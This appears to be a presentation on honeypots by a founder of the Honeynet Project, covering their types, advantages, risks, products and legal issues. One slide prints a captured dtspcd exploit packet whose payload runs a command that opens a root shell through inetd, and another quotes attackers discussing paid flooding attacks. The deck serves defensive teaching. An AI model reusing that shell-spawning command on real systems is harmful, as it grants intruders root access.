Honeypots

Your Speaker
Lance Spitzner
– Senior Security Architect, Sun Microsystems
– Founder of the Honeynet Project
– Author of Honeypots: Tracking Hackers
– Co-author of Know Your Enemy
– Moderator of <honeypots@securityfocus.com> maillist
– Former ‘tread head’.
Purpose

To introduce you to honeypots, what they

are, how they work, their value.
Problem

• Variety of misconceptions about honeypots,

everyone has their own definition.

• This confusion has caused lack of

understanding, and adoption.
 Honeypot Timeline
• 1990/1991 The Cuckoo’s Egg and Evening with Berferd
• 1997 - Deception Toolkit
• 1998 - CyberCop Sting
• 1998 - NetFacade (and Snort)
• 1998 - BackOfficer Friendly
• 1999 - Formation of the Honeynet Project
• 2001 - Worms captured
• 2002 - dtspcd exploit capture
Definition

Any security resource who’s value lies in being

probed, attacked, or compromised
How honeypots work

• Simple concept

• A resource that expects no data, so any

traffic to or from it is most likely
unauthorized activity
Not limited to specific purpose

• Honeypots do not solve a specific problem,

instead they are a tool that contribute to
your overall security architecture.

• Their value, and the problems they help

solve, depend on how build, deploy, and
you use them.
Types

• Production (Law Enforcment)

• Research (Counter-Intelligence)

Marty’s idea
Value

• What is the value of honeypots?

• One of the greatest areas of confusion

concerning honeypot technologies.
Advantages

• Based on how honeypots conceptually

work, they have several advantages.
– Reduce False Positives and False Negatives
– Data Value
– Resources
– Simplicity
Disadvantages

• Based on the concept of honeypots, they

also have disadvantages:
– Narrow Field of View
– Fingerprinting
– Risk
Production

• Prevention
• Detection
• Response
Prevention
• Keeping the burglar out of your house.
• Honeypots, in general are not effective prevention
mechanisms.
• Deception, Deterence, Decoys, are phsychological
weapons. They do NOT work against automated
attacks:
– worms
– auto-rooters
– mass-rooters
Detection

• Detecting the burglar when he breaks in.

• Honeypots excel at this capability, due to
their advantages.
Response

• Honeypots can be used to help respond to

an incident.
– Can easily be pulled offline (unlike production
systems.
– Little to no data pollution.
Research Honeypots

• Early Warning and Prediction

• Discover new Tools and Tactics
• Understand Motives, Behavior, and
Organization
• Develop Analysis and Forensic Skills
Early Warning and Prediction
 Tools
01/08-08:46:04.378306 10.10.10.1:3592 -> 10.10.10.2:6112
TCP TTL:48 TOS:0x0 ID:41388 IpLen:20 DgmLen:1500 DF
***AP*** Seq: 0xFEE2C115 Ack: 0x5F66192F Win: 0x3EBC TcpLen: 32
TCP Options (3) => NOP NOP TS: 463986683 4158792
30 30 30 30 30 30 30 32 30 34 31 30 33 65 30 30 0000000204103e00
30 31 20 20 34 20 00 00 00 31 30 00 80 1C 40 11 01 4 ...10...@.
80 1C 40 11 10 80 01 01 80 1C 40 11 80 1C 40 11 ..@.......@...@.
80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11 ..@...@...@...@.
D0 23 FF E0 E2 23 FF E4 E4 23 FF E8 C0 23 FF EC .#...#...#...#..
82 10 20 0B 91 D0 20 08 2F 62 69 6E 2F 6B 73 68 .. ... ./bin/ksh
20 20 20 20 2D 63 20 20 65 63 68 6F 20 22 69 6E -c echo "in
67 72 65 73 6C 6F 63 6B 20 73 74 72 65 61 6D 20 greslock stream
74 63 70 20 6E 6F 77 61 69 74 20 72 6F 6F 74 20 tcp nowait root
2F 62 69 6E 2F 73 68 20 73 68 20 2D 69 22 3E 2F /bin/sh sh -i">/
74 6D 70 2F 78 3B 2F 75 73 72 2F 73 62 69 6E 2F tmp/x;/usr/sbin/
69 6E 65 74 64 20 2D 73 20 2F 74 6D 70 2F 78 3B inetd -s /tmp/x;
73 6C 65 65 70 20 31 30 3B 2F 62 69 6E 2F 72 6D sleep 10;/bin/rm
20 2D 66 20 2F 74 6D 70 2F 78 20 41 41 41 41 41 -f /tmp/x AAAAA
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
Tactics
 Motives and Behavior

J4ck: why don't you start charging for packet

attacks?
J4ck: "give me x amount and I'll take bla bla offline

for this amount of time"

J1LL: it was illegal last I checked.
J4ck: heh, then everything you do is illegal. Why not
make money off of it?
J4ck: I know plenty of people that'd pay exorbatent
amounts for packeting.
Level of Interaction

• Level of Interaction determines amount of

functionality a honeypot provides.

• The greater the interaction, the more you

can learn.
• The greater the interaction, the more
complexity and risk.
Risk

• Chance that an attacker can use your

honeypot to harm, attack, or infiltrate other
systems or organizations.
Low Interaction

• Provide Emulated Services

• No operating system for attacker to access.
• Information limited to transactional
information and attackers activities with
emulated services.
High Interaction

• Provide Actual Operating Systems

• Learn extensive amounts of information.
• Extensive risk.
 Honeypots
• BackOfficer Friendly Low Interaction
– http://www.nfr.com/products/bof/

• SPECTER
– http://www.specter.com
• Honeyd
– http://www.citi.umich.edu/u/provos/honeyd/
• ManTrap
– http://www.recourse.com
• Honeynets
– http://project.honeynet.org/papers/honeynet/

High Interaction
BackOfficer Friendly
Specter
 Honeyd
create default

set default personality "FreeBSD 2.2.1-STABLE"

set default default action open

add default tcp port 80 "sh /usr/local/honeyd/scripts/web.sh"

add default tcp port 22 "sh /usr/local/honeyd/scripts/test.sh"

add default tcp port 113 reset

add default tcp port 1 reset

create windows
set windows personality "Windows NT 4.0 Server SP5-SP6"
ManTrap
Honeynets
Which is best?

None, they all have their advantages and

disadvantages. It depends on what you are
attempting to achieve.
Legal Issues

• Privacy
• Entrapment
• Liability
Legal Contact for
.mil / .gov
Department of Justice, Computer Crime and
Intellectual Property Section
– General Number: (202) 514-1026
– Specific Contact: Richard Salgado
• Direct Telephone (202) 353-7848
• E-Mai: richard.salgado@usdoj.gov
Summary

Honeypos are a highly flexible security tool

that can be used in a variety of different
deployments.
Resources

Honeypots: Tracking Hackers

http://www.tracking-hackers.com